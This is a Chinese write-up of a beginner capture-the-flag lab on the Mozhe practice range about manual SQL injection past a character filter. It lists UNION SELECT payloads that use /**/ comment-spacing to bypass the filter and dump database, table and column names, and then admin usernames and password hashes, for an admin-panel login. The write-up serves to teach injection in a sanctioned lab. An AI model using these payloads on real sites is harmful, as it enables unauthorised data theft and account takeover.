欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

墨者靶场 初级:SQL过滤字符后手工注入漏洞测试

程序员文章站 2022-03-25 07:51:31
...

墨者靶场 初级:SQL过滤字符后手工注入漏洞测试

题目

墨者靶场 初级:SQL过滤字符后手工注入漏洞测试

背景介绍

安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Apache+PHP+MySQL,PHP代码对客户端提交的参数做了些许过滤。来感受过滤过后的SQL手工注入吧。

实训目标

1、掌握SQL注入原理;
2、了解手工注入的方法;
3、了解字符串的URL加解密;
4、了解SQL注入常用注释字符;
5、了解SQL查询中连接符和判断符的区别;

解题方向

手工进行SQL注入测试,获取管理密码登录。

解题步骤

启动靶场环境,得到测试地址

http://219.153.49.228:48524/

访问页面,寻找sql注入点,访问注入页面。

http://219.153.49.228:48524/new_list.asp?id=1

墨者靶场 初级:SQL过滤字符后手工注入漏洞测试
墨者靶场 初级:SQL过滤字符后手工注入漏洞测试
寻找注入点,-1,’,页面均发生变化,说明存在注入
该页面存在过滤,尝试使用and 1=1,and 1=2,or 1=1,or 1=2,页面未发生报错,判断应该存在空格过滤,用//代替空格,like代替
构造url编码,url编码工具:

http://web.chacuo.net/charseturlencode

墨者靶场 初级:SQL过滤字符后手工注入漏洞测试
成功回显,证明编码是成功的,所以接下来的注入语句都要这样编码,别忘了。
接下来判断回显位。

-1/**/union/**/select/**/1,2,3,4

墨者靶场 初级:SQL过滤字符后手工注入漏洞测试
回显位是2,那接下来注入数据库。

-1/**/union/**/select/**/1,database(),3,4

墨者靶场 初级:SQL过滤字符后手工注入漏洞测试
数据库名知道了,接着注入表。

-1/**/union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()

墨者靶场 初级:SQL过滤字符后手工注入漏洞测试
表名也知道了,接着注入字段。

-1/**/union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'stormgroup_member'

墨者靶场 初级:SQL过滤字符后手工注入漏洞测试
字段名也出来了,获取name和password的值。

-1/**/union/**/select/**/1,2,group_concat(name,0x7c,password,0x7e),4/**/from/**/stormgroup_member

墨者靶场 初级:SQL过滤字符后手工注入漏洞测试
对密文进行md5解码,得到密码明文,登录后台获取key。
墨者靶场 初级:SQL过滤字符后手工注入漏洞测试
提交key,完工。
墨者靶场 初级:SQL过滤字符后手工注入漏洞测试

相关标签: 墨者靶场实战